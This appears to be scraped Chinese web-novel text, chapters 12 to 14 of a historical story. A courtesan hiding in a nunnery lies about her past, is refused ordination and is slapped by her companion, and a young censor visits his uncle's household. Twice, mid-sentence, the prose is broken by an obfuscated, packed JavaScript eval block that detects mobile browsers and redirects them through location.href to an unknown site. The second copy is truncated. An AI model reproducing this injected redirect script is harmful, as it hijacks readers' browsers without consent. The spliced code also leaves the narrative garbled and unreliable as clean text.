按那歪嘴儿所言，江浙衙门早就上报朝廷，将王攀之死定为了意外。 其中缘由，或许因为王攀身上没有明显外伤，便于遮掩；也或许是，比起一个活的王攀，浙江官场，更需要一个死了的王攀。 王攀之死牵扯重大，就这么草草定为意外，连同在游船的陈茂良都无人提起，只怕其中少不了多方人马的彼此默契、顺水推舟。 若事情只停留在这一步，兴许她真能找到一条活路。 偏偏黑岩帮横生枝节，将这事儿重新捅了出来，闹得声势浩大，就连朝廷都心生疑窦。 只怕现在，比自己还胆战心惊、夜不能寐的，是浙江官场上那些大人物。 思及此，宋云谣心中讥讽，忍不住“噗嗤”一声笑了。 她不过一介无名瘦马，既无钱财、也无人牵挂。若真上了刑场，还有那些个道貌岸然、满腹经纶、家财万贯的大人作陪，倒也不亏？ 苦中作乐一番，她的神情又黯然下来。 可她不想死。 若她今日死在这，当初一路吃的苦，又算什么？算她倒霉么？ 莫名其妙的，她又想起当初在平溪遇到的沈三，不禁喃喃，“确实倒霉。” 沈三碰上她，本来发善心做好事，结果又是山洪、又是平白无故承了她一条命，怎么不算倒霉呢？ 她苦笑一声，长长叹了口气，将脸埋进手里。 这该如何是好…… 忽有一阵风吹过，背篓“啪嗒”一声倒地，她揉揉脸，起身将落了一地的药材拾起。 可碰到药材时，她忽然想起今日在慧芳书坊，贾管事的话。 “……冯家可是衢州大族，祖上曾管过盐务，最风光的时候，冯家人跺跺脚，整个江浙都要抖三分……” “……后来虽不比从前，可烂船还有三斤钉呢，何况冯家？大师的胞兄，如今就在南京做官……” 电光石火之间，宋云谣只觉灵台一清。 对啊，如今这世道，想要正儿八经开个尼姑庵，可不是易事。尼姑庵中尽是女眷，若遇上歹人想要为祸，只怕难有抵抗之力。 静雪庵从前名声好、香火旺时，兴许还有百姓维护；可如今香火稀薄，还能日日清静、不受旁人觊觎，不就因为住持的俗家——衢州冯家庇护么？ 更何况，虽说修行修的是世外之道，可只要这尼姑庵在红尘俗世一日，便少不了受红尘俗世的规矩。 她从前随姐姐们在画舫上侑酒弹琴时，曾听席间官员说过，当今太后好清修，宫中不光有一座供奉佛祖的宝殿，还在宫外某个庵堂中挂了名。 她在花船上的那几年，除了练就察言观色、守口如瓶的本事，领悟最深的一个道理，便是：官场上行事，无非四个字，上行下效。 佛门乃清静之地，既有冯家回护、又有太后这顶高帽，衙门就算再得理，难道能直接冲进尼姑庵里抓尼姑么？ 胡思乱想间，禅房后遥遥传来木鱼声。宋云谣循声望去，却见院角那扇木门虚掩着，门上藤蔓随风摇晃。 那是通向竹轩的门。 她鬼使神差站起身，拎起背篓，轻轻推开了门。循着记忆，她一路往深处走，穿过弯弯绕绕的小道，绕过一片竹林，竹轩俨然出现在面前。 佛堂的门半掩着，妙音跪坐蒲团之上，诵经坐禅。 夕阳照进佛堂，落在她狰狞的侧脸上，也落在褪了色的佛像身上。 妙音口中絮絮有词，佛像却沉静不语，只垂眸望着祂虔诚的信徒，不带一丝审视，仿佛永恒的宽容与慈悲。 宋云谣望着这一幕，不知为何，想起自己方才满心功利的盘算，竟生出几分羞愧。 风吹来不寻常的气息，妙音似乎察觉到什么，停下木鱼，转头望去，诧异道：“宋施主？” 宋云谣站在竹林下，碎发挡住了她的神情。 “妙音师父，打扰了。” 妙音戴好面巾，踩着碎步走了出来。 她的声音一如那夜的悦耳，如流水叮咚，“施主怎么来了？可是来找住持的？” “是也不是。”宋云谣沉默了一下，从背篓中取出一块糕点，“妙音师父要尝尝么？” “多谢施主。” 妙音笑了，完好的半张脸上绽开笑容，可受伤的半边脸却古怪地抽了抽皮肉，伤疤挤在一起，愈发显得可怖。 宋云谣看着这张足以称得上丑陋的脸，心中却有说不清的动容。 妙音似乎瞧出她神情有异，连忙将受伤的脸转到一边，不好意思道，“是我得意忘形，吓着你了吧。” “不会。”她摇摇头，认真道，“当真不会。” 说话间，忽有一阵竹风吹过，将她的面巾卷起，那张怪异的脸又露了出来。这一回，妙音没有再躲藏。 “修行二十载，我也常对自己说，皮相皆是虚妄，只是我功夫不到家，这么多年，仍困于色。”妙音笑了笑，目光真诚，“比起贫尼，施主更有慧根。” “我……” 不知为何，一当着妙音的面，她那身混迹风月练出来的机灵话，总是难以启齿。 犹豫间，身后传来一道清正的声音。 “宋施主？” 宋云谣心中一跳，转身行礼。 “法真大师。”她拿出早打好的腹稿，“是我不请自来，还请大师恕罪。只是实在有急事相求，不得已才自作主张。” “无碍。”法真走上前，“这本就是妙音的住所，她愿意就是，轮不到我多说什么。” 宋云谣闻言，下意识看了眼妙音，却见她神情如常，并不见惶恐或羞赧，不禁若有所思：她们的关系，竟比她所想的还要亲近。 “今日辛苦你了。”法真看向她手里的背篓，“一切都顺利？” “还算顺利吧。只是在县城里遇到有人聚众斗殴，箐箐受了些惊吓，旁的倒还好。”想了想，她又道，“我还去慧芳书坊寻了个抄经书的活计。” 果然，法真点头道：“我去看过庄姑娘，开了个方子，待善远给她煎好喝下即可，并无大碍。还有，贾管事为人虽精明，做生意却是个守信的，你大可来往，不必担心。” 见她不过只言片语，便将自己今日种种都了然于胸，宋云谣一惊，仿佛被她看透一般，心中不禁升起了几分心虚。 法真越过她，往佛堂内走，宋云谣在原地踌躇片刻，追了上去。 “哦对了，住持，您要看看这药材么？虽说那药商是您的熟人，可万一……” 法真站在佛堂中央，摩挲着手中持珠，并不言语。直到宋云谣 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她低着头，声音哀戚婉转，可阴影下的那张脸，渐渐涨红起来。 “三年前，我嫁给了村里的屠户张家。张家图我容貌，我图张家殷实，一拍即合，便嫁了过去。可没想到，我那丈夫是个不成事儿的，仗着家中有父母帮扶，整日吃酒赌钱不说，醉了还对我拳打脚踢……” 她眼里落下泪，哭腔不停，说得情真意切，藏在袖中的手却攥紧了。 “我也逃过，可刚回娘家待不了半日，便会被父亲亲自送回张家……”她抽泣一声，“这日子，我实在过不下去了！” 宋云谣哭了几声，余光却见法真仍静静站在原地，似乎不为所动，不禁咬紧下唇，又开了口。 “后来，是母亲看不下去，说，‘若再待在张家，我就只等着给你收尸吧’，便准备带我离开。”她学着兰姨的口吻与脾性，小心翼翼编话。 “只是还没等我们脱身，我那丈夫有天吃酒醉倒，头摔进稻田上里，夜里稻田放水，被淹死了…… “后来，母亲不忍我做寡妇，退了聘礼，将我带回家。可没过几天，父亲又要将我嫁给邻村的老跛子，母亲一怒之下，便带我逃去了外祖家。” “后面的事，母亲说的都是真的……外祖家几口人早就死在饥荒里，我们当了一阵子流民，后来又遇到劫匪，九死一生，才到了静雪庵……” 大致圆上谎话，宋云谣担心说多错多，不敢再编，只能打住，以哭声遮掩。 而法真静静听完全程，问道：“你如今既已改头换面，以你的才情，就算再嫁也未必不得良配，又为何要遁入空门？” 宋云谣明白，这一问便是最要紧的考验，心弦霎时绷紧。她心知法真不是个好糊弄的，若是再全然作假，只怕被她一眼看穿。 她思忖片刻，这一年来的种种浮上心头。 半晌，低声道：“不瞒您说，我过去十八年，都不如在静雪庵的一年心安。” 法真脚步微移，转身看向她。 “山中清静，又日夜斋戒，自然叫人心安宁静。” “那不一样。”宋云谣慢慢摇摇头，“我出生市井、自幼家贫，日子本是一眼能往到头的。好生长大、寻个老实人家，一辈子围着田间灶头转，日子虽平淡，却也踏实。” 她沉默片刻。 “说来让您笑话，因为这张脸，那样寻常的日子，我从没过过一天。” 宋云谣微微仰起脸。 佛堂外，天边涂抹着粉紫的云霞，浓艳的夕照落在她半张侧脸上，杏眼含春、长睫卷翘，是难得一见的媚色。 即便今日在外奔波一天，脸上也不见风尘，只是额前垂落几缕碎发，透出几分疲态。 可这疲态，映着下垂的眼尾、冷淡的神色，反倒中和了五官的媚意，像一幅留白巧妙的山水画，清隽动人、韵味悠长。 这样的相貌，不说钟鸣鼎食，但凡能落到个殷实富庶的家中，这辈子，也不必过得如此颠沛流离。 她轻声道：“大师，您也是女子。女子的难处，您又怎会不懂呢？” 法真沉默不语。 “在静雪庵一年，寺中师父们对我既不曾恶语相向，更不必说剥削盘算。能安安稳稳一觉睡到天亮，睡醒不必担心谁要将我买走、谁又要对我拳打脚踢……” “这样的日子，我自……”她顿了顿，“我自五岁起，就再没有尝过了。” “大师。”宋云谣仰起头，膝行至法真脚边，两行清泪从眼角滑落，“您就为我剃度吧，我会好生念经、学佛法的。” 直到此刻，她竟分不清有几分是演戏，几分是真心了。 她哽咽道：“您就让我留在静雪庵吧。” 13.耳光 法真低头看着她，沉默良久，轻轻摇头。 “宋施主，我不能为你剃度。” 屋外竹林潇潇，斜阳西沉，最后一抹余晖从她脚边溜走，法真站在佛像高大的阴影中，神情晦暗。 “为何？”宋云谣仰着头，眼中噙泪，“您不是常说慈航普度？为何不能收下我呢？” 法真摇头，“你的归处，不在这里。” “这是何意？”她闻言一怔。 法真步子一动，挣开她的手，慢慢踱至门前。僧袍被风吹得鼓起，她像只困在缁衣中的雁，定定站在原地。 “宋施主，你是聪明人。有些话不必说尽，你我也都明白。” 她望着法真的背影，心中咯噔一跳。 法真平声道，“你尘缘未尽、因果未了，恐怕还有诸多牵绊。即便此时遁入空门、得以暂避，可终有一日，还是会回那红尘中去。” 宋云谣脸上神色渐渐淡了，慢慢垂下头去。 “大师为何如此笃定？若我真心向佛呢？”她轻声问。 法真转过身，望着跪坐殿中、垂首敛眉的女子。 “若真有那一日。”她静静道，“你不必求我，佛祖自会看到。” 法真说得风轻云淡，可话里话外的意思如此明了，不禁令她攥紧了手，心绪起伏。 沉默良久，她爬起身，朝法真一拜。 “我明白了。”她低声道，“大师不愿为我剃度，自有大师的道理，我不会纠缠。今日是我叨扰了，还望大师莫怪。” “算不上叨扰。”法真道，“只是出家非小事，宋施主还是慎重为好。” 她抿抿唇，避开法真的视线，“大师说得对。” 法真顿了顿，“静雪庵虽不大，留你们母女二人在此借住，总不是难事。” 羞愧和窘迫在身体里冲撞，宋云谣低垂下头，手紧紧掐住衣角。 “安心住下吧，将来的事，自有将来的缘法。” 脚步声渐渐远去，眼前的身影消失了。宋云谣垂首站立佛殿之中，久久未动。 头顶的佛像静静注视着她，在那古井无波的视线中，她有种被扒光了身子、无处遁形的错觉。 “住持走了？” 面前忽然传来声音，只见妙音从屋外掌灯而来。 宋云谣回过神，下意识扬起一个笑，“刚走不久。妙音师父有事找住持么？要不，我去帮你……” “不用。”妙音轻柔地打断她，“若宋施主方便，可否同我一起点灯？” 宋云谣无言接过灯，背过身，将佛殿内外的红烛一一点亮。室内渐渐亮起，暖黄的烛光驱散了些许冷清。屋外竹声萧瑟，风中吹来渺远的诵经声。 “辛苦了。”妙音道“今日劳你下山跑一趟，他们打架斗殴没吓到你吧？” 宋云谣摇摇头，“我跑得快，并无大碍。” “真的吗？”她仔细打量着宋云谣的神态，斟酌道，“若是他们说了什么难听话、冒犯了你，你莫要往心中去。” 宋云谣愣住，不解其意。 妙音靠近了几步，近得宋云谣能嗅到她身上苦涩的草药气息。 她拉起宋云谣的手，宽慰道：“虽说你只是借住此处，可只要有静雪庵、有住持在一日，就算外头再如何风言风语，也不必害怕，安心住下就是。” 她按了按宋云谣的手心，轻轻道，“我虽与大家来往不多，却也知道，静雪庵的人，向来是心思淳厚、也知冷知热的。 “住持与净念同我说过，你们母女在庵堂待了近一年，处处为大家着想，大小事务交给你们，也从无怨言。桩桩件件，大家都看在眼里，都念着你们的好。” 妙音蒙着面，摇曳的烛光映着她完好的半张脸，就连眼尾的细纹都变得柔和。 “我修行不到家，有些话本不该说的。可我若是不说，又怕你心中介怀、做出傻事。” 她柔声道，“就算不曾剃度出家，静雪庵上下，也早将你们看作自己人了，就像箐箐那样。 “只要心怀慈悲、多行善事，又何必拘泥于这身上僧袍、头上戒疤呢？” 宋云谣怔怔站在原地，在妙音关切真挚的目光下，她忽然感到一种难言的不堪和自厌，像滩恶臭的黑水一般，在腹中不停翻涌而上，令人作呕。 好恶心。 她强忍住干呕的冲动，朝妙音挤出一个笑，故作无事，“我明白了，多谢师父教诲，是我着相了。” 妙音松了口气，又羞赧道：“不是什么师父，你叫我妙音就好。这么晚了，还没吃吧，要不就留在我这吃口斋饭？我灶上正热着菜呢……” 宋云谣保持着嘴角笑意，同妙音推脱两句，又问了她从竹轩离开可有别的路——此时此刻，她像只被看透了丑陋真身的妖怪，实在没有气力再去面对法真。 妙音也体谅她，为她指了条相反的路，只是要绕后山多走一圈，偏僻了些。担心路上不好走，妙音为她点了灯笼，一路将她送到竹轩百米外，终于作别。 今夜月色黯淡，云翳被月华染得昏黄，宋云谣提灯快步走在后山林间，直到确认走出了妙音视线，她腿一软，扶住一旁的树，弯腰干呕起来。 奔走一日就吃了半碗面汤，宋云谣胃中烧心的疼，却只能吐出几口酸水。 可此刻，比起身体的不适，那股自心底生出的厌恶与羞耻，更叫她痛苦。 她垂首喘息，难受得满眼是泪，双颊憋得通红，活像被人狠狠掌掴了一般。 真恶心，宋云谣，你真恶心。 她在心底对自己说。 你当真是个卑劣小人。 法真慧眼如炬，恐怕早看穿她有所隐瞒，不过是留了几分薄面、怀了几分慈悲，仍愿意让她留在此处； 而妙音见她不过两面，俨然将她视为纯善无辜的可怜人，以为自己下山受了欺负，字字句句宽慰自己，莫要为了一时庇护，冲动之下剃发为尼。 可只有她明白，自己这张人皮，尽是自私、怯懦与虚伪。 她不值得她们这样的厚待。 宋云谣慢慢直起身，拾起落到地上的灯笼，一步步往外走。 或许人总是趋利避害、畏死乐生。她被眼前的危机冲昏头脑，只顾着为自己解困，却全然忘了，若有一日官府当真查到此处，纵有衢州冯家庇护，静雪庵上下又怎能不被波及？ 若她尚存一点良心，或许此时就该回去收拾包袱，趁夜从静雪庵离开。 宋云谣越走越快，初春的夜风寒意不减，冷冷地抽打在她脸上。 远处，熟悉的撞钟声响起，那是晚课结束的时辰。 宋云谣想到，此时，姑子们应正携着经书从佛堂离开，各自回到禅房，洗漱沐浴，安眠一夜。 再过几个时辰，待后山鸡鸣、天色泛白，静雪庵缓缓苏醒，姑子们便又起身，继续一天的诵经念佛、洒扫除尘、吃斋茹素。 这样的日子，她早已烂熟于心。 今夜她说了很多谎，可唯独这一件事，她没有说谎。 在静雪庵的一年，是她从未尝过的安心与平静。 平静到，有时她甚至都快忘了杭州、忘了窈儿、忘了那桩命案。 这样的日子，她舍不得。 不知不觉中，她已走到了住处前。推开小院，屋中隐隐透出光，廊下还放着今日庄箐箐留下的花草。 宋云谣疲惫地揉揉额角，走到井边用凉水洗漱一番，终于走进屋中。 室内静悄悄的，不见兰姨的踪影，她绕过屏风，却见桌上竟放着一碗白粥、一碟小菜，还有用油纸包好的酥饼——是她今日送去膳堂的。 她一愣，唤道：“兰姨？” 屋内没有回应，她将酥饼拿起又放下，沉默片刻，终于下定决心，转身走进内室，翻出一个包袱，准备收拾行李。 原以为属于自己的不过几件衣袍，可当真收拾起来，她才发现，在静雪庵的一年，她竟也零零碎碎存下了许多东西。 善远手抄的一本《心经》；庄箐箐编的两只草蚂蚱；兰姨在后山耕种时挖到的漂亮石头；姑子们下山时给她带的头油、梳子；听闻她会写字，净念送来的一刀宣纸、法真送来的笔墨砚台…… 它们都被她安放在床架抽屉中，明明都对她逃跑无一用处，可如今一样样拿起，竟都割舍不下。 “你要离开？” 门外冷不丁响起一道声音，宋云谣一惊，下意识用被子盖住，却见兰姨几步冲上来，一把掀开了被子。 “你要跑？”兰姨又问。 “你去哪儿了？何时来的？”宋云谣避开她犀利的目光，反口问道。 “你现在走了，我怎么办？”兰姨不理会她的顾左右而言他，咄咄逼人。 宋云谣抿抿唇，低声道：“我不能留在这里，走了对谁都好。” 兰姨眉头紧蹙，一屁股在她床边坐下。 “给我说清楚，到底怎么了？就因为法真看不上你当尼姑？” 宋云谣猛地抬起头，像被人踩住尾巴的猫，错愕道：“你怎么知道？你偷听！” 兰姨对她的指责满不在乎，“我看你迟迟不来，想着去法真那儿找你，然后就看见了。” 她啧了一声，“怎么，你还嫌丢人？你我之间，什么事儿不知道，差不多得了。” 宋云谣心中愠怒，不想同她计较，自顾自继续收拾行李。 “我走了，对大家都好，你不必劝我了。至于住持那边，你随便找个理由就行，说自己一切不知情也行。反正就算我走了，她也不会赶你的，你不必担心。” “你！”兰姨一把扯过她手中行李，怒道，“从没见过你这样听不懂人话的，说走就走，离了静雪庵，你还能去哪儿！” 说着，兰姨抬指狠狠戳在她眉心，恨铁不成钢。 “你个蠢的！你以为外头是什么地方？你以为处处都是静雪庵？就你这皮相，要不了半天，只怕就被人拐走卖去那等脏的臭的地方，当真是不知天高地厚！” 不知兰姨那句说错了，宋云谣心中绷了一夜的弦忽然断了，她一把推开兰姨的手，几乎不管不顾道： “就算真被人卖了，也是我罪有应得，是我的命，关你什么事？真死在外面，正好再没人知道你的底细，你满意了吧！” “啪——” 一声脆响，宋云谣只觉眼前划过一道手风，抬手摸去，脸上火辣辣的疼。 她被打得懵了一瞬，怔怔望去，却见兰姨胸膛起伏，喘着气，眼眶泛红。 “这话，该是你这样的姑娘说的吗！”兰姨用力抓住她的肩膀，形容癫狂，厉声道，“什么叫罪有应得？罪有应得就该被人拐去卖了？你给我说清楚！” 宋云谣被兰姨吓得愣在原地，一时不知如何开口。 “我……” “我告诉你，这念头，想都不准想，听到了没有！” “听，听到了……” 兰姨深吸一口气，慢慢平静下来。 “东西先放着。我听庄丫头说，你一整天都没怎么吃，先过来把粥饼吃了。” 不容宋云谣说不，兰姨一把将她拉到桌边坐下，将粥碗塞到她手里，又摸了摸酥饼，已经有些凉了，便就地生起小陶炉，将酥饼放在上面烤着。 宋云谣望着她蹲在地上，歪头吹火的模样，一口口吃着粥，滋味难言。 喝下小半碗粥，失控的情绪也好似被喂饱，渐渐平息下来。 她放下筷子，憋了半晌，不知为何脱口而出：“我方才胡说的，你别往心里去。” 说完她便有几分懊悔，明明自己才是平白挨了一巴掌的人…… 屋内飘着一股焦香，兰姨将烤好的酥饼放在她面前，坐到桌边。 “是我不对，不敢动手。”兰姨抬手梳了梳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864360|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己散落的乱发，话语中带了几分疲惫，“我手劲儿大，疼不疼？” 宋云谣慢慢摇头，“还好。” 兰姨看了看她，没说话，起身去侧间拧了张湿帕子，递给她。 “红了。”兰姨比划一下。 宋云谣接过帕子，敷在脸上，凉凉的。 二人面对面坐着，一时无话，良久，兰姨打破了沉默。 “丫头，人活一辈子，最不紧要的，就是这张脸面。” 兰姨斜靠在桌边，望着桌上那支短烛，声音喑哑。 “不就是没被人看上么，这破尼姑，谁爱当谁当去。若因为一时不如意，走错了路，将自己一辈子搭进去，才是真的傻啊。” 兰姨难得露出这般语重心长的模样，宋云谣有些动容，可她也明白，是兰姨误会了。 “不是因为这个……”她垂下头，难以启齿，“总之，我走了，对你、对住持、对静雪庵，都是好事。” 兰姨眉心一蹙，打量她几眼，霎时恍然。 “是，衙门的官司，对不对？”她试探问道。 宋云谣心中一跳，并未答话。可兰姨好似笃定了想法，琢磨片刻，语气严肃起来。 “你放心，我晓得分寸，旁的不会多问。”兰姨道，“只是你得明白，越是衙门官司，越要耐得住性子、定得住气。” 宋云谣看向她，满心诧异。 “衙门办事，自有规矩章法，若只是听风就是雨，没有半点筹谋，不过是自乱阵脚，于你、于大局，都无益。” 她压低声音，凑近宋云谣，“你以为你跑了，他日查到这儿，静雪庵就能全身而退？” 宋云谣心中砰砰直跳，“那我该怎么办？” “怎么办？我又不知道你犯了什么事，我怎么知道怎么办？”兰姨伸了个懒腰，散漫道，“打住啊，你不必告诉我，我也不想听。你我之间，各留余地，对彼此都好。” “……放心，我不会说，也不会问。” “总之，你现在跑了，除了徒留把柄、陷自己于险境，别无用处。”兰姨打了个哈欠，慢悠悠走进内室。 “我要是你，我就留在这儿。有静雪庵在，至少能护着你多打听些消息，总不至于像个无头苍蝇，四处乱撞。 “他日就算真的查到这儿了，再看形势，指不定会有转机。” 说着，兰姨脱了鞋袜，直接倒进床榻上。宋云谣站在屏风旁，心绪飞转。 兰姨说得没错。 消息越多，手里筹码越多，如今她手里只有黑岩帮对外声称杀死王攀、朝廷派人下来查案两个消息，其余一概不知。 眼下就算跑了，也不过无头苍蝇，将来再想接触到朝廷的消息，恐怕就难了。 可若是留在静雪庵…… 一则，有黑岩帮在前，已然分散了官府注意； 二来，衢州离杭州近千里，一个不起眼的小县、一个香火稀薄的尼姑庵，她一路过来也是误打误撞，未必就能查到此处。 仔细想想，如今她一路过来，正儿八经见过她容貌的人，除却沈三、兰姨，也只有那日富春江游船上，那个提刀爬上船的不速之客…… 那个人，会是黑岩帮的人吗？ 宋云谣轻轻咬着指节，陷入沉思之中。 “欸，给我打盆水来。”兰姨半抬起身子，朝她吩咐，“我脚还没好呢。” 宋云谣思绪一断，可今日这一闹，她早没了脾气，乖乖出门打水。抬水进屋，放到兰姨床前，她又拿起炉上的壶，往盆里掺热水。 桌上的短烛快要烧尽，烛泪顺着烛台往下流，屋内愈发昏暗。 宋云谣低头倒水时，忽然听见床上传来兰姨的声音。 “你在法真面前说的，都是假的吗？” “有关我身世的，都是假的。”宋云谣随口道，“既然你听见了，那便刚好记下，省得将来说漏嘴。” 身后兰姨久久没有再答话，直到宋云谣出门放炉子时，才隐约听见她低沉模糊的话音，仿佛梦呓一般。 “……没有……就好……” 说话间，桌上短烛终于烧尽，噗嗤一声，烛火灭了。 宋云谣步子一顿，转头望去，黑暗的内室中，兰姨仍旧躺在榻上，呼吸绵长，好似等不及洗漱，已经彻底睡了过去。 她立足片刻，收回视线，轻轻带上门。 - 两个月后，绍兴府。 天刚擦黑，正是归家的时辰，林宅大门前却热闹。一众仆役排列门前，翘首望着街口。 此处是浙江都指挥使司佥事林承宗的府邸，众人等候的，便是当今圣上钦点、方才走马上任半月的浙江巡按御史，沈不器。 林锦程坐在门房中，双腿搭在桌上，半眯着眼，折扇轻摇。 门外传来一串脚步，林锦程闭着眼，张口便打发。 “都说了没来没来，告诉小妹，再打着爹的旗号来问，我就去告状了啊。” “不是，不是！”门外的小厮气喘吁吁，“少爷，表少爷来了！” 话音刚落，林锦程扇子一收、眼睛一睁，一个起身站起，匆匆朝外走去。 刚走到门前，却听门外一众仆役高声道：“拜见沈大人！” 林锦程乐得看戏，果不其然，正从青帷马车上走下的那人动作一顿，好似被众人齐声高呼震在原地，清冽的目光直直射向自己。 “小的见过沈巡按。”林锦程几步上前，拱手作揖，调笑道，“一年未见，沈巡按风华更甚啊！” “三郎不敢当。”沈不器一身青衣，眉目疏朗，“倒是表兄，于家中庶务倒是愈发上手了。这排场，只怕舅舅亲自安排，也不过如是了。” 沈不器说得风轻云淡，林锦程却听出几分挖苦与威胁，乐得哈哈一笑。 “得了，别变着法损我了，快进去吧，你舅舅舅母可等急了！” 14.巡按 正值酉末，天色渐暗，林府四处燃起灯。 庭院中安置了素色花卉盆栽，檐下悬挂着苎麻布幔，行走其间，只觉一派肃穆庄重。 沈不器将一切纳入眼底，心想，这宅院布置，多半是舅母郑夫人的手笔。 林家老夫人去世一年有余，虽仍在孝期，可大齐有律，武官特许不必丁忧，只要莫触犯孝期禁制、平白坏了官声，朝廷并不追究。 舅舅是个武人性子，疏于内宅；舅母却向来谨慎周全，事事都要求个十全十美、妥帖无虞，断不会叫林家落人口实。 思忖间，沈不器发现脚下路并非往膳厅去，了然道：“舅舅舅母可是在祠堂等我？” 林锦程叹了口气，“可不，我娘非让先来给祖母上香。我说你奔波一路，吃完再来不是一样？她直骂我榆木脑袋！” 沈不器失笑：“还是舅母思虑周全。有亲长如此，四哥该高兴才是。” 当初他打着守孝旗号来绍兴避祸，如今再回故地，总得把姿态做全——浙江巡按的位置，可比一个翰林编修引人注目多了。 林锦程摆摆手：“要说心眼子，这林家谁也比不过她。” “舅母若是入仕为官，只怕比你我还要如鱼得水。”沈不器感叹道。 “你可是她心尖尖上的好后生，我就算咯。” 林锦程手一抖，展开折扇，姿态散漫。 “都不必提什么仕途经济，单说我的婚事，就足够她训我三天三夜不带停的。” 说着，他朝沈不器挤挤眼睛，“三郎如今前程大好，恐怕家中门槛都被媒人踏平了吧。” 沈不器摇摇头，无奈道：“四哥别打趣我了。” 提起婚事，沈不器也不免心有戚戚。 他今年十九，虚岁也算是弱冠之年，至今仍未议亲。 十几岁时，李昌唯猝然离世，他默默守孝三年，家中也并无怨言。 后来他入仕为官，家中刚张罗起议婚的事，他又卷入立储之争中，只能暂且搁置。 耽搁几年，如今他年纪刚好，却担上了巡按浙江的重任，能不能全身而退都是两说，家中自然也歇了心思。 婚事一拖再拖，沈母自然着急。 他还未离京上任时，林夫人几乎把京郊的寺庙道观都跑遍了，四处为他寻大师、算八字，生怕他是个婚姻坎坷的命。 好在诸位大师都给面子，一个二个算出来，都说令郎将来必定夫妻恩爱、鹣鲽情深。 只是私心而论，对成婚生子一事，沈不器心中并无多少热忱。 “我可听说，”林锦程压低声音，“你这婚事让姑母也急个不行。前些日子，还托我娘找人去祖坟上看看呢。” 沈不器一愣，霎时哭笑不得，“那可看出什么名堂了？” “自然万事大吉。要我说，最不必忧心婚事的就是你了！你这相貌气度、这前程仕途，打着灯笼都难找呢。” 说着，林锦程收起几分玩笑，轻轻叹了口气。 “这婚姻之事，男子拖一拖倒也无妨，可对女子而言，就苛刻许多了……” 沈不器闻言一愣，却见林锦程脸上闪过懊悔，似乎自觉失言，打住了话头。 “哎哟，光顾着说话，只怕他们又要派人来催了……” 沈不器从善如流，二人加快脚步，绕过抄手游廊，一路往宅院东边去，终于瞧见了祠堂的模样。 舅舅舅母早已等候多时，远远瞧见沈不器，忙快步上前。 沈不器刚要拜见，林承宗两只大手一捞，将他细细端详一番，感叹道：“这才没几天，又长高了不少吧。” “瞧你舅舅，这都一年未见了，他还觉着就几天前的事儿呢。”郑夫人嗔怪一声，又关切道，“一路累了吧，也是怪我，这一口茶都没来得及喝，就把你叫到这了。” 沈不器躬身行礼，恳切道：“舅舅舅母一番苦心，三郎感念不及，怎敢怪罪？倒是这一路耽搁，叫二位长辈久等了。” 闻言，郑夫人脸上笑意更甚，瞧着他的目光愈发欣赏。寒暄两句，一行人进了祠堂，纷纷敛了神情，为林老夫人上了三炷香。 上过香，众人才往膳厅走去。 膳厅里灯火通明，刚到院门口，就听里头隐隐传来孩童打闹啼哭的声响，夹着少女烦躁的制止声。 “我数到三，谁最后松手，明日就多加三页大字。” 此话一出，屋内霎时一静，哭声又此起彼伏起来。 郑夫人赶忙进屋，而膳厅内，那少女一眼瞧见门外沈不器的身影，脸腾地一红，讪讪站起身。 林锦程挑挑眉，不动声色看向沈不器，却见他扫了一眼便移开视线，问道：“怎么不见几位表嫂？” “……”林锦程暗中叹口气，“赴知府千金办的赏花宴去了。” 说话间，众人进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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席上说笑不断，林含姝低头吃茶，悄悄藏起眼底的欢欣。 吃过晚膳，女眷回内宅休息，林承宗则带着儿子、外甥回了前院。 方在书房坐下，只见林承宗神色一敛，正色问道：“三郎，你同我说清楚，浙江巡按的差事，怎么就落到你身上了！”